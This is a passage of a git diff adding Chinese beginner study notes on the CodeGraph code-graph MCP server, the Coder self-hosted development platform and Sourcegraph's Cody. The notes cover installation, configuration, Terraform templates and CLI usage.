+npx @colbymchenry/codegraph
+```
+
+`install` 会检测本机已装的 Claude Code、Cursor、Codex CLI 等，写入 MCP 配置，并在 `CLAUDE.md` / `AGENTS.md` 等指令文件里插入简短使用说明。卸载用 `codegraph uninstall`。
+
+**在项目里建索引：**
+
+```bash
+cd your-project
+codegraph init    # 创建 .codegraph/ 并全量建图
+```
+
+之后文件变更会自动同步，一般**不必**手动 `codegraph sync`。
+
+**非交互式 / CI 示例：**
+
+```bash
+codegraph install --target=cursor,claude --yes
+codegraph init --quiet
+```
+
+## MCP 工具怎么选
+
+默认向代理暴露四个工具（其余可通过环境变量 `CODEGRAPH_MCP_TOOLS` 打开）：
+
+| 工具 | 适用场景 |
+|------|----------|
+| `codegraph_explore` | **首选**。「X 怎么工作」「从 A 到 B 的调用链」「这块模块有哪些入口」 |
+| `codegraph_node` | 单个符号全文 + 调用方；或像 Read 一样按路径读整文件（支持 offset/limit） |
+| `codegraph_search` | 按名字定位符号 |
+| `codegraph_callers` | 谁调用了这个函数（含回调注册点） |
+
+心智模型：**先 explore，定位不准再 search，改代码前用 callers/impact 看爆炸半径**。
+
+若项目没有 `.codegraph/` 目录，MCP server 会声明自己未激活，**不注册任何工具**——代理回退到内置 grep/Read，索引完全可选。
+
+## 代码示例
+
+### 示例 1：手动配置 Claude Code MCP（不用 install 时）
+
+编辑 `~/.claude.json`（路径因版本而异）：
+
+```json
+{
+  "mcpServers": {
+    "codegraph": {
+      "type": "stdio",
+      "command": "codegraph",
+      "args": ["serve", "--mcp"]
+    }
+  }
+}
+```
+
+可选：在 `~/.claude/settings.json` 里为 CodeGraph 工具加 auto-allow，减少每次点批准：
+
+```json
+{
+  "permissions": {
+    "allow": [
+      "mcp__codegraph__codegraph_explore",
+      "mcp__codegraph__codegraph_search",
+      "mcp__codegraph__codegraph_callers",
+      "mcp__codegraph__codegraph_node"
+    ]
+  }
+}
+```
+
+配置完成后重启 Claude Code / Cursor，并在目标仓库执行过 `codegraph init`。
+
+### 示例 2：终端 CLI 探索（与 MCP 同源）
+
+不打开 IDE 也能查图——适合脚本或人类预习：
+
+```bash
+# 全库搜索符号
+codegraph query UserService --limit 10
+
+# 一条命令回答架构问题（等同 MCP 的 codegraph_explore）
+codegraph explore "how does login reach the database"
+
+# 改代码前：谁依赖这个函数
+codegraph callers authenticateUser
+
+# 影响分析（CLI 版；MCP 默认未列出但可用）
+codegraph impact UserService.update --depth 2
+```
+
+### 示例 3：CI 里只跑受影响的测试
+
+`codegraph affected` 沿 import 图找「改了这些源文件后，哪些测试文件可能受影响」：
+
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+AFFECTED=$(git diff --name-only origin/main...HEAD \
+  | codegraph affected --stdin --quiet)
+
+if [ -n "$AFFECTED" ]; then
+  echo "Running tests for: $AFFECTED"
+  npx vitest run $AFFECTED
+else
+  echo "No test files affected by graph traversal."
+fi
+```
+
+### 示例 4：在自有 Node 应用里嵌入 API
+
+除 CLI/MCP 外，包可编程调用（需 Node 22.5+ 与 `node:sqlite`）：
+
+```typescript
+import CodeGraph from '@colbymchenry/codegraph';
+
+const cg = await CodeGraph.init('/path/to/project');
+
+await cg.indexAll({
+  onProgress: (p) => console.log(`${p.phase}: ${p.current}/${p.total}`),
+});
+
+const hits = cg.searchNodes('UserService');
+const callers = cg.getCallers(hits[0].node.id);
+const impact = cg.getImpactRadius(hits[0].node.id, 2);
+
+cg.watch();   // 开启与 MCP 相同的文件监听
+// ... 业务逻辑 ...
+cg.close();
+```
+
+适合在 Electron 主进程、内部开发者门户等场景内置「代码地图」，而不走子进程 MCP。
+
+## 工作原理一览
+
+```
+┌─────────────────────────────────────────┐
+│  Claude Code / Cursor / Codex CLI       │
+│  「请求怎么进数据库？」                  │
+│       → codegraph_explore（主会话）      │
+└──────────────────┬──────────────────────┘
+                   │ MCP stdio
+                   ▼
+┌─────────────────────────────────────────┐
+│  codegraph serve --mcp                  │
+│  explore · search · callers · node      │
+└──────────────────┬──────────────────────┘
+                   ▼
+┌─────────────────────────────────────────┐
+│  .codegraph/codegraph.db (SQLite)       │
+│  symbols · edges · FTS5 · routes      │
+└─────────────────────────────────────────┘
+```
+
+索引构建：tree-sitter 解析 → 抽节点/边 → 解析引用 → 可选框架路由增强 → 写入 DB。运行时：监听文件变更 → 防抖 → 增量 re-index。
+
+## 能力边界与诚实预期
+
+**擅长：**
+
+- 结构型问题：调用链、模块边界、路由到 handler、改动的直接影响
+- 中大型单仓（官方测过 VS Code ~10k 文件、Django ~3k 文件）
+- 跨语言启发式边：Swift ↔ ObjC、React Native bridge、Expo Modules 等（边带 `provenance: heuristic` 标记）
+
+**不擅长 / 需注意：**
+
+- **动态派发**：`eval`、极度反射、运行时字符串拼方法名——静态图必然漏边
+- **未索引仓库**：无 `.codegraph/` 时工具不可用
+- **沙箱环境**：若禁用文件监听（`CODEGRAPH_NO_DAEMON=1`），需手动 `codegraph sync`
+- **与子代理混用**：若指令仍要求「先 spawn Explore 再 Read」，benchmark 优势会消失
+
+官方 benchmark 使用 `claude -p` headless、每仓库 4 次取中位数；你的仓库结构、模型版本、提问方式不同，节省比例会有波动，但「少做无效 grep」的方向一致。
+
+## 常用命令速查
+
+```bash
+codegraph init [path]          # 初始化并建图
+codegraph status               # 索引统计与健康
+codegraph sync                 # 手动增量同步（少数场景）
+codegraph upgrade --check      # 检查更新
+codegraph uninit               # 删除项目索引（不卸载 MCP）
+codegraph uninstall            # 从各代理移除 MCP 配置
+```
+
+## 与相关技术的关系
+
+- **tree-sitter**：确定性 AST 解析，比正则 grep 更适合抽符号。
+- **MCP**：与 [[mcp-ts-sdk]] 同一协议族；CodeGraph 是「代码图谱」类 MCP server 的代表实现之一。
+- **语义搜索 / RAG**：CodeGraph 偏**符号与调用图**，不是 embedding 向量库；二者可互补（图找结构，向量找相似片段）。
+- **IDE 自带索引**：Language Server 服务编辑器补全；CodeGraph 服务**无状态的 LLM 代理**，且输出为 agent 友好的大块上下文。
+
+## 延伸阅读
+
+- 官方文档与网站：<https://colbymchenry.github.io/codegraph/>
+- npm：<https://www.npmjs.com/package/@colbymchenry/codegraph>
+- 索引与自动同步深读：[Indexing a Project](https://colbymchenry.github.io/codegraph/guides/indexing/)
+- MCP 协议背景：本库笔记 [[mcp-ts-sdk]]
+- 在 Cursor 中使用：配置 MCP 后于 Agent 模式直接提问结构问题，并确认项目根目录存在 `.codegraph/`
+
+## 小结
+
+CodeGraph 把「理解代码库」从**在线搜索问题**变成**离线索引 + 在线查询**：本地 tree-sitter 建图，SQLite 存储，MCP 喂给 Claude Code / Cursor / Codex。零基础上手路径是 `install` → `init` → 重启代理 → 用自然语言问架构；进阶可接 `affected` 做 CI 测试裁剪，或用 TypeScript API 嵌入自有工具链。记住一句话：**让代理查地图，而不是在文件海里敲门问路。**
diff --git a/src/content/docs/projects/codegraph.md b/src/content/docs/projects/codegraph.md
new file mode 100644
index 000000000..208839464
--- /dev/null
+++ b/src/content/docs/projects/codegraph.md
@@ -0,0 +1,236 @@
+---
+title: CodeGraph — 从零到一的代码知识图谱
+来源: https://github.com/colbymchenry/codegraph
+日期: 2026-06-13
+分类: CLI
+子分类: ai-ml-tools
+provenance: pipeline-v3
+---
+
+## 一句话
+
+CodeGraph 把代码仓库变成一张**可查询的知识图谱**，让 AI 编程代理（Claude Code、Cursor、OpenCode 等）不再靠盲目 grep 探索代码，而是直接查图获取答案。
+
+## 日常类比
+
+想象你要找一本图书馆里某本书的位置。
+
+- **没有 CodeGraph**：你像无头苍蝇一样走进图书馆，一排排书架翻找，可能翻半天才知道书在 3 楼 B 区。对应到代码里，就是 `grep`、`find`、`Read` 一遍遍扫文件。
+- **有 CodeGraph**：图书馆有一张完整的目录卡片系统。你直接去查"这本书叫什么"，卡片告诉你"3 楼 B 区第 5 排"。对应到代码里，就是查图谱找到函数定义在哪里、谁调用了它。
+
+CodeGraph 做的就是在你的代码仓库第一次建好这张"目录卡"，之后每次你改代码，它自动更新。
+
+## 核心概念
+
+### 1. 知识图谱（Knowledge Graph）
+
+代码不只是文本文件，文件之间是有关系的。CodeGraph 提取这些关系：
+
+- **节点（Node）**：代表代码中的实体——函数、类、变量、导入、路由等
+- **边（Edge）**：代表节点之间的关系——调用、继承、导入、引用等
+
+把这些节点和边存进一个本地 SQLite 数据库，就形成了一张**代码知识图谱**。
+
+### 2. Tree-sitter 解析
+
+Tree-sitter 是一个增量式语法解析器，能把源代码变成抽象语法树（AST）。CodeGraph 用它来理解代码的结构，而不是简单地做字符串匹配。
+
+比如这段代码：
+
+```typescript
+class UserService {
+  async getUser(id: string) {
+    const db = getDb();
+    return db.query('SELECT * FROM users WHERE id = ?', id);
+  }
+}
+```
+
+CodeGraph 会提取出：
+
+| 类型 | 节点 | 关系 |
+|------|------|------|
+| 类 | `UserService` | — |
+| 方法 | `getUser` | 属于 `UserService` |
+| 函数调用 | `getDb()` | 被 `getUser` 调用 |
+| 函数调用 | `db.query()` | 被 `getUser` 调用 |
+
+### 3. 自动同步（Auto-Sync）
+
+你编辑代码时，CodeGraph 通过操作系统级别的文件监听（macOS 的 FSEvents、Linux 的 inotify）自动检测变化，在 2 秒静默窗口后重新索引。不需要手动运行任何命令。
+
+## 安装与使用
+
+### 安装（一行命令，不需要 Node.js）
+
+```bash
+# macOS / Linux
+curl -fsSL https://raw.githubusercontent.com/colbymchenry/codegraph/main/install.sh | sh
+
+# 或者如果你已经有 npm
+npm i -g @colbymchenry/codegraph
+```
+
+### 连接到 AI 代理
+
+```bash
+codegraph install
+```
+
+这个命令会自动检测你安装了哪些代理（Claude Code、Cursor、Codex、OpenCode 等），并把 CodeGraph 配置进去。
+
+### 初始化项目
+
+```bash
+cd your-project
+codegraph init
+```
+
+一条命令完成初始化 + 首次建图。之后会在项目目录下生成 `.codegraph/` 目录存放索引。
+
+## 核心工具
+
+CodeGraph 提供几个关键工具，每个解决不同的问题：
+
+### `codegraph_explore` — 万能入口
+
+回答"这个模块怎么工作的"、"X 怎么走到 Y"这类问题。一次调用返回相关代码的完整上下文。
+
+### `codegraph_search` — 查找符号
+
+按名字搜索代码库里的函数、类、变量等。
+
+### `codegraph_callers` — 谁调用了它
+
+找到某个函数的所有调用点。
+
+### `codegraph_impact` — 改了会怎样
+
+分析修改某个符号会影响哪些代码。
+
+## 代码示例
+
+### 示例 1：探索一个模块的工作方式
+
+假设你在一个 Express.js 项目中，想知道"登录请求是怎么处理的"：
+
+```bash
+# 直接问 CodeGraph
+codegraph explore "how does the login request flow work"
+```
+
+输出会包含：
+
+```
+## Express Auth Module
+
+### Entry Points
+- `POST /api/login` → `authController.login` (src/controllers/auth.ts:12)
+
+### Related Symbols
+- `authController.login` (src/controllers/auth.ts:12)
+  - calls `UserModel.findOne()` (src/models/User.ts:8)
+  - calls `jsonwebtoken.sign()` (node_modules/jsonwebtoken/index.js)
+  - calls `bcrypt.hash()` (node_modules/bcrypt/bcrypt.js)
+
+### Impact Radius
+- Called by: Express router (src/routes/auth.ts:5)
+- Depends on: UserModel, jsonwebtoken, bcrypt
+```
+
+不需要手动 grep 找文件，不需要一个个打开看。
+
+### 示例 2：查找谁调用了某个函数
+
+假设你想重构 `formatDate` 函数，但不知道哪些地方在用：
+
+```bash
+# 查找所有调用点
+codegraph callers formatDate
+```
+
+输出：
+
+```
+## Callers of `formatDate`
+
+### src/utils/date.ts:5 - formatDate(date, format)
+
+1. src/components/UserProfile.tsx:23
+   const formatted = formatDate(user.createdAt, 'YYYY-MM-DD');
+
+2. src/components/OrderList.tsx:45
+   <span>{formatDate(order.date)}</span>
+
+3. src/services/reportGenerator.ts:12
+   report.date = formatDate(new Date());
+
+Found 3 callers
+```
+
+现在你知道修改这个函数需要同时检查这 3 个文件了。
+
+### 示例 3：分析影响范围
+
+```bash
+# 修改了 User 模型，看看影响多大
+codegraph impact UserModel
+```
+
+输出会显示完整的依赖链——谁导入了它、谁调用了它的方法、哪些测试文件可能受影响。
+
+## 技术架构
+
+```
+你的代码仓库
+    │
+    ▼
+Tree-sitter 解析（AST 提取）
+    │
+    ▼
+构建知识图谱（节点 + 边）
+    │
+    ▼
+存入 SQLite（带 FTS5 全文搜索）
+    │
+    ▼
+MCP Server 暴露给 AI 代理
+    │
+    ▼
+代理直接查图，不再盲目 grep
+```
+
+关键点：
+- **100% 本地运行**，数据不出机器，不需要 API key
+- 支持 **20+ 种语言**（TypeScript、Python、Go、Rust、Java、Swift 等）
+- 支持 **17 种 Web 框架**的路由识别（Express、Django、Rails、Spring 等）
+- 内置 iOS / React Native 跨语言桥接追踪
+
+## 为什么值得学
+
+CodeGraph 代表了一个重要的趋势：**AI 编程代理正在从"读文件"进化到"查知识"**。
+
+以前代理回答问题的方式是：
+1. `grep` 搜索关键词
+2. `glob` 找相关文件
+3. `Read` 打开文件
+4. 重复以上步骤直到找到答案
+
+这个过程消耗大量 token 和时间。CodeGraph 把这个流程压缩成一次查询：
+
+1. `codegraph_explore` 一次拿到答案
+
+对于大仓库（几千到几万文件），这种差距尤其明显——Benchmark 显示 VS Code 仓库（约 1 万文件）上，工具调用少了 81%，token 少了 64%。
+
+## 下一步
+
+如果你想动手试试：
+
+```bash
+# 在你的项目里快速体验
+npx @colbymchenry/codegraph
+
+# 它会引导你完成安装 + 连接代理 + 初始化
+```
+
+或者先看看它的文档网站：https://colbymchenry.github.io/codegraph/
diff --git a/src/content/docs/projects/codemirror.md b/src/content/docs/projects/codemirror.md
index 74979398a..d2a2ecdc5 100644
--- a/src/content/docs/projects/codemirror.md
+++ b/src/content/docs/projects/codemirror.md
@@ -159,6 +159,7 @@ const logUpdates = ViewPlugin.fromClass(class {
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[atom]] —— Atom — 已归档的 Web 编辑器先驱
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
 - [[hocuspocus]] —— Hocuspocus — 给 Yjs 配一个能直接上线的协作后端
 - [[lapce]] —— Lapce — 把编辑器搬到 GPU 上的 Rust 实验
 - [[monaco-editor]] —— monaco-editor — 把 VSCode 编辑器搬进浏览器的 SDK
diff --git a/src/content/docs/projects/coder.md b/src/content/docs/projects/coder.md
new file mode 100644
index 000000000..c91e90fff
--- /dev/null
+++ b/src/content/docs/projects/coder.md
@@ -0,0 +1,347 @@
+---
+title: Coder — 自托管开发环境平台
+来源: https://github.com/coder/coder
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：公司统一配发的「云端工位」
+
+想象你进了一家大厂。前台给你一张工牌，HR 说：「去三楼选个空位，电脑、显示器、VPN、内网权限都配好了，坐下就能写代码。」你不需要自己买机器、装系统、配防火墙——**平台团队**早就把「标准开发工位」定义成模板，你只管刷卡入座。
+
+**Coder 干的就是这件事，只不过工位在云上。** 平台管理员用 Terraform 写好「工位规格」（Ubuntu + Docker + [[code-server]] + 8GB 内存），开发者登录后点几下就领到一台隔离的远程工作区，用 [[vscode]]、Cursor、JetBrains、SSH 或浏览器终端连进去写代码。机器闲置会自动关机省钱，下次启动几秒恢复——像本地电脑，但算力和数据都在你公司自己的 AWS / Azure / GCP / 内网 Kubernetes 上。
+
+项目地址：[coder/coder](https://github.com/coder/coder)，Apache 2.0 开源。官方定位：**self-hosted platform for running AI coding agents and cloud development environments on infrastructure you control**——控制面、工作区、甚至 AI Agent 循环都跑在你掌控的基础设施上，而不是某家 SaaS 的黑盒里。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：每人本地环境不一致
+
+新人入职要装三天：Node 版本、Docker、公司 CA 证书、私有 npm registry……「在我机器上能跑」是团队永恒的梗。Coder 把环境固化在 **Template（模板）** 里，所有人从同一套镜像和启动脚本出发，差异只剩「你领的是大规格还是小规格工作区」。
+
+### 痛点 2：笔记本算力不够，又离不开完整 IDE
+
+编译单体仓库、跑集成测试、起多个 Docker Compose 服务——笔记本风扇起飞。Coder 把重活放到云主机或 K8s Pod，本地只跑 IDE 客户端或浏览器；官方文档强调 idle workspace 可 **autostop**，避免云账单像漏水的水龙头。
+
+### 痛点 3：远程开发 SaaS 绑定生态、数据出境
+
+GitHub Codespaces、Gitpod 等产品好用，但计费、合规、数据驻留往往不由你说了算。Coder 是**自托管**方案：PostgreSQL、控制面、Provisioner 都在你的 VPC 或机房，适合金融、政务、军工等有数据主权要求的场景。
+
+### 痛点 4：平台团队需要「可编程」的治理层
+
+不仅要发机器，还要统一：谁能用 GPU 模板、工作区最长存活多久、能否访问外网、预装哪些 AI 工具。Coder 用 Terraform 描述基础设施，管理员在模板层注入策略，比手工 SSH 配机器可审计、可版本化。
+
+---
+
+## 核心概念拆解
+
+理解 Coder 不需要先成为 Terraform 专家，但要把下面几个名词分清——它们出现在仪表盘、CLI 和每一行模板代码里。
+
+### 1. coderd — 控制平面（大脑）
+
+运行 `coder server` 启动的核心服务叫 **coderd**。它提供：
+
+- Web 仪表盘与 HTTP API
+- 用户认证（可对接 OIDC / SAML 等 IdP）
+- 工作区生命周期编排（创建、启动、停止、删除）
+- **Dev URLs**：把 `https://coder.company.com/@alice/my-ws/apps/code-server/` 反代到工作区内的 Web 应用
+- 与 PostgreSQL 通信（**只有 coderd 读写数据库**）
+
+生产环境通常部署多个 coderd 副本做高可用；默认每个副本内嵌若干 **provisionerd** 进程。
+
+### 2. PostgreSQL — 唯一状态存储
+
+会话令牌、模板版本、工作区元数据、审计日志索引等都落在 Postgres。试用可以内嵌数据库；生产建议外置托管 PG 并做备份。控制面本身无状态，扩缩容靠多加 coderd 实例。
+
+### 3. provisionerd — Terraform 执行器（双手）
+
+**provisionerd** 是真正跑 `terraform apply` / `destroy` 的地方。工作区每次创建、启动、停止，本质上都是一次受控的 IaC 变更。当前主要 Provisioner 是 **Terraform**；你可以把 provisionerd 拆到独立节点，避免用户工作负载与基础设施变更抢同一台机器的 CPU。
+
+### 4. Template — 工位蓝图
+
+**Template** 是管理员维护的「工作区配方」，主体是一个 Terraform 项目（`main.tf` + Dockerfile + 模块等）。里面定义：
+
+- 计算资源（EC2、Azure VM、K8s Pod、本地 Docker 容器……）
+- 存储卷是否持久（关机后 home 目录还在不在）
+- `coder_agent` 如何安装、启动脚本、环境变量
+- `coder_app` 暴露哪些 Web IDE（如 [[code-server]]、Jupyter）
+
+模板推送到 Coder 后版本化；开发者只能选用管理员发布的模板，不能随意 `terraform` 一台裸机。
+
+### 5. Workspace — 你的那一格工位
+
+**Workspace** 是某用户从某模板实例化出来的一套云资源集合：可能包含 VM + 磁盘 + 密钥 + Sidecar。分两类资源：
+
+- **计算资源（computational）**：跑 `coder_agent` 的 VM/容器
+- **外围资源（peripheral）**：存储桶、数据库实例等不跑 agent 的东西
+
+资源又可分 **持久（persistent）** 与 **临时（ephemeral）**：关机时临时资源销毁，持久卷保留——常见做法是「只有 `/home` 持久，容器每次重建」，兼顾省钱与环境新鲜度。
+
+### 6. coder agent — 工作区内的联络员
+
+每个工作区里跑一个 **coder_agent** 进程。它：
+
+- 与 coderd 建立连接（常用 WireGuard 隧道，无需工作区开放公网入站端口）
+- 提供 SSH、端口转发、文件同步
+- 上报 CPU/内存等元数据到仪表盘
+- 托管 `coder_app` 注册的本地 Web 服务
+
+模板里通过 `coder_agent` Terraform resource 声明；容器启动时注入 `CODER_AGENT_TOKEN` 完成注册。
+
+### 7. coder_app — 仪表盘里的「应用图标」
+
+`coder_app` 把工作区内的 HTTP 服务（或外部链接）登记到 Coder UI。用户点图标即可打开浏览器版 VS Code、Jupyter Lab，或公司内部 Wiki。可配 `healthcheck` 做就绪探测。
+
+### 8. 连接方式一览
+
+| 方式 | 适用场景 |
+|------|----------|
+| VS Code / Cursor / JetBrains 插件 | 日常编码，体验接近 Remote-SSH |
+| `coder ssh` / 原生 SSH | 终端党、脚本自动化 |
+| Web Terminal | 无本地 IDE 时的兜底 |
+| Dev URL / Workspace App | 浏览器里跑 [[code-server]] 等 |
+
+### 9. 与 code-server 的关系
+
+同仓库生态里的 [[code-server]] 是「单机浏览器版 VS Code」。**Coder 是编排层**：批量发工作区、管模板、做租户隔离和策略。模板里的 `startup_script` 经常安装 code-server，再用 `coder_app` 挂到仪表盘——二者是 **平台 vs 单应用** 的关系，不是替代关系。
+
+### 10. Coder 不是什么
+
+官方文档刻意划清边界：
+
+- **不是** 通用 IaC 平台——Terraform 只是第一种 Provisioner，用来描述工作区
+- **不是** 全托管 SaaS——你要自己装 coderd、备数据库、选云账号
+- **不要求** 用户会写 Terraform——可以用 [Coder Registry](https://registry.coder.com) 现成模板起步
+
+---
+
+## 架构一图流
+
+```text
+开发者 ──► coder CLI / IDE 插件 / 浏览器
+              │
+              ▼
+         ┌─────────┐      ┌──────────────┐
+         │ coderd  │◄────►│ PostgreSQL   │
+         │ (API/UI)│      └──────────────┘
+         └────┬────┘
+              │ 调度 terraform apply
+              ▼
+         ┌─────────────┐
+         │ provisionerd │
+         └────┬────────┘
+              │ 创建/销毁云资源
+              ▼
+    ┌─────────────────────────────┐
+    │ Workspace (VM / Pod / …)     │
+    │  ┌─────────────────────┐    │
+    │  │ coder_agent         │    │
+    │  │  ├─ code-server:13337│    │
+    │  │  └─ your app :8080  │    │
+    │  └─────────────────────┘    │
+    └─────────────────────────────┘
+              ▲
+              │ 加密隧道 (SSH / WireGuard)
+              └──────── 开发者本机 IDE
+```
+
+---
+
+## 代码示例 1：最小 Docker 模板（Terraform）
+
+下面片段来自官方「从零写模板」教程的精简版，展示 **agent + 持久卷 + 临时容器 + code-server 应用** 四件套。完整教程见 [Write a template from scratch](https://coder.com/docs/tutorials/template-from-scratch)。
+
+```hcl
+terraform {
+  required_providers {
+    coder  = { source = "coder/coder" }
+    docker = { source = "kreuzwerker/docker" }
+  }
+}
+
+data "coder_workspace" "me" {}
+data "coder_workspace_owner" "me" {}
+
+# 1) 工作区里跑的 agent：启动脚本装 code-server，并暴露 CPU/RAM 元数据
+resource "coder_agent" "main" {
+  arch = "amd64"
+  os   = "linux"
+
+  startup_script = <<-EOT
+    curl -fsSL https://code-server.dev/install.sh | sh -s -- --method=standalone --prefix=/tmp/code-server
+    /tmp/code-server/bin/code-server --auth none --port 13337 &
+  EOT
+
+  env = {
+    GIT_AUTHOR_EMAIL = data.coder_workspace_owner.me.email
+  }
+}
+
+# 2) 在仪表盘添加「code-server」图标，带健康检查
+resource "coder_app" "code-server" {
+  agent_id     = coder_agent.main.id
+  slug         = "code-server"
+  display_name = "VS Code (Web)"
+  url          = "http://localhost:13337/?folder=/home/coder"
+  share        = "owner"
+
+  healthcheck {
+    url       = "http://localhost:13337/healthz"
+    interval  = 5
+    threshold = 6
+  }
+}
+
+# 3) 持久 home 目录：关机不删
+resource "docker_volume" "home" {
+  name = "coder-${data.coder_workspace.me.id}-home"
+  lifecycle { ignore_changes = all }
+}
+
+# 4) 临时容器：stop 时销毁，start 时按 start_count 重建
+resource "docker_container" "workspace" {
+  count = data.coder_workspace.me.start_count
+  image = "coder-base-ubuntu:latest"
+  name  = "coder-${lower(data.coder_workspace.me.name)}"
+
+  env = ["CODER_AGENT_TOKEN=${coder_agent.main.token}"]
+
+  volumes {
+    container_path = "/home/coder"
+    volume_name    = docker_volume.home.name
+  }
+}
+```
+
+读懂这段，你就抓住了 Coder 模板的灵魂：**Terraform 描述云资源，`coder_*` 资源描述「人怎么连上去」**。
+
+---
+
+## 代码示例 2：CLI 从登录到创建工作区
+
+Coder 服务端与客户端共用同一个 `coder` 二进制。安装（Linux/macOS）：
+
+```bash
+curl -L https://coder.com/install.sh | sh
+```
+
+**启动单机试用服务器**（内置数据库，适合本机体验）：
+
+```bash
+coder server
+# 浏览器打开 http://127.0.0.1:3000 完成首次设置
+```
+
+**连接已有团队部署**：
+
+```bash
+coder login https://coder.example.com
+# 按提示在浏览器完成 CLI 授权，粘贴 token
+```
+
+**管理员推送模板**（在含 `main.tf` 的目录执行）：
+
+```bash
+cd my-template/
+coder templates push
+# 确认后模板出现在仪表盘 Templates 页
+```
+
+**开发者创建工作区并 SSH 进入**：
+
+```bash
+# 列出可用模板
+coder templates list
+
+# 从模板创建名为 backend 的工作区
+coder create backend --template docker-ubuntu
+
+# 查看状态，等待 Running
+coder list
+
+# 等价于 ssh backend.coder.example.com
+coder ssh backend
+
+# 在本地 VS Code 中打开（需安装 Coder 插件）
+coder code backend
+```
+
+**自动停机省成本**（模板或用户级配置，示意）：
+
+```bash
+# 查看工作区调度策略
+coder schedule show backend
+
+# 设置 8 小时无活动自动停止（具体子命令随版本可能为 schedule autostop）
+coder config set autostop_template_default 8h
+```
+
+---
+
+## 安装与部署路径
+
+| 路径 | 适合谁 | 要点 |
+|------|--------|------|
+| `coder server` 单机 | 个人尝鲜、小团队 | 最快，内置 PG，不适合大规模 |
+| Docker Compose | 小中型团队 | 官方提供 compose 示例，外置 Postgres |
+| Kubernetes Helm | 平台团队生产标准 | 多副本 coderd、Ingress、外部 PG |
+| 空气隙 / 私有镜像仓库 | 强合规客户 | 需自建镜像同步，试用许可可能受限 |
+
+系统要求随并发工作区数线性增长；Provisioner 节点建议与 coderd 分离，避免 Terraform 与用户编译争抢 I/O。
+
+---
+
+## 与同类方案怎么选
+
+| 维度 | Coder | GitHub Codespaces | 自建 SSH 跳板机 |
+|------|-------|-------------------|-----------------|
+| 托管 | 自托管 | GitHub 托管 | 自托管 |
+| 环境定义 | Terraform 模板 | devcontainer.json | 手工 / Ansible |
+| IDE 支持 | 多 IDE + Web | 以 VS Code 为主 | 任意 SSH 客户端 |
+| 多租户 / 审计 | 内置 | 依赖 GitHub Org | 需自建 |
+| 自动关机 | 内置 autostop | 内置 | 需自己写 cron |
+| 上手成本 | 中（要学模板） | 低 | 低但难规模化 |
+
+若你只是一个人、一台云主机、想要浏览器 VS Code，[[code-server]] 足够。若你要**给整个工程团队发标准化云桌面**，Coder 是正解。
+
+---
+
+## 常见坑与排查
+
+1. **Agent 连不上 coderd**：检查工作区能否 `curl` 到 Coder 访问地址；Docker 模板里常要把 `localhost` 换成 `host.docker.internal`。
+2. **Provisioner 一直 Pending**：看 coderd 日志与 `coder provisioner jobs list`；Terraform 状态锁、云 API 配额、IAM 权限都会卡住。
+3. **Dev URL 502**：`coder_app` 的 `healthcheck` 未通过——启动脚本里 code-server 还没监听端口就宣告就绪。
+4. **持久卷被误删**：Terraform 里给 volume 加 `lifecycle { ignore_changes = all }`，并用 `coder_workspace.me.id` 而非常变名字做卷名。
+5. **扩展与镜像漂移**：把工具链写进 Dockerfile / 启动脚本，而不是让用户 SSH 进去手工 `apt install`——否则下次 ephemeral 重建就丢失。
+
+---
+
+## 学习路径建议（零基础）
+
+1. **30 分钟**：本机 `coder server`，用 Registry 里的 `docker` 或 `kubernetes` 入门模板创建一个工作区，体验 Web Terminal 和 code-server。
+2. **半天**：跟官方教程改一版 `main.tf`——加一个 `coder_app` 指向你的内部文档站，练习 `coder templates push`。
+3. **一周**：把模板迁到公司云账号（AWS EC2 或现有 K8s 集群），接上公司 OIDC 登录，配置 autostop 与配额。
+4. **进阶**：阅读 [Architecture](https://coder.com/docs/admin/infrastructure/architecture)、拆分外部 provisionerd、探索 AI Gateway / Agent Firewall 等治理组件。
+
+---
+
+## 小结
+
+Coder 把「远程开发环境」从个人英雄主义（每人自己配机器）提升为**平台能力**：模板即政策，工作区即工位，agent 即安全隧道。你掌控云、数据与 IDE 选择；Terraform 负责可重复的基础设施；开发者得到的是「刷卡入座」的体验。
+
+一句话：**Coder = 用 Terraform 批量发放、统一治理、任意 IDE 接入的自托管云开发工位系统。**
+
+---
+
+## 延伸阅读
+
+- 官方文档：[About Coder](https://coder.com/docs)
+- 架构详解：[Infrastructure Architecture](https://coder.com/docs/admin/infrastructure/architecture)
+- 模板教程：[Write a template from scratch](https://coder.com/docs/tutorials/template-from-scratch)
+- 现成模板：[Coder Registry](https://registry.coder.com)
+- 同生态浏览器 IDE：[[code-server]]
+- 容器编排（工作区常跑在 K8s 上）：[[kubernetes]]
diff --git a/src/content/docs/projects/cody-sourcegraph.md b/src/content/docs/projects/cody-sourcegraph.md
new file mode 100644
index 000000000..e02d59469
--- /dev/null
+++ b/src/content/docs/projects/cody-sourcegraph.md
@@ -0,0 +1,217 @@
+---
+title: "Cody 零基础学习笔记"
+来源: "https://github.com/sourcegraph/cody"
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# Cody 零基础学习笔记
+
+## 什么是 Cody？
+
+Cody 是由 Sourcegraph 公司开发的一款 AI 编程助手。
+
+它的核心能力是：把 AI 模型和你自己的代码库连接起来。一般的 AI 聊天工具（比如早期的 ChatGPT）只靠自己训练时学到的知识来回答问题。而 Cody 不一样——它能"阅读"你的整个代码项目，包括本地文件和远程服务器上的代码，然后根据你项目里的实际代码来生成回答和建议。
+
+## 一个日常类比：厨师与食谱
+
+想象你在厨房做一道菜：
+
+- 一个**普通 AI 助手**就像一本烹饪书。它记得成千上万道菜的做法，但你问它"怎么用我冰箱里的食材做"时，它没法看你冰箱里有什么。
+- **Cody** 就像一位进了你厨房的厨师。他不仅能看你冰箱里有什么（你的代码），还能看橱柜里的调味料（你用的库和框架），然后做出真正适合你口味的菜。
+
+Cody 的"看厨房"能力叫做**上下文（Context）**——它能读取、理解并引用你项目中的实际代码。
+
+## 核心概念
+
+### 1. 上下文（Context）—— Cody 的"眼睛"
+
+上下文就是帮助 Cody 理解你代码的额外信息。没有上下文，LLM（大语言模型）就像一个记忆力很好但没见过你代码的陌生人。
+
+Cody 通过三种方式查找上下文：
+
+- **关键词搜索**：在你代码里查找你问题中提到的关键词
+- **Sourcegraph Search API**：Sourcegraph 自家的强大搜索工具，能跨整个代码库检索
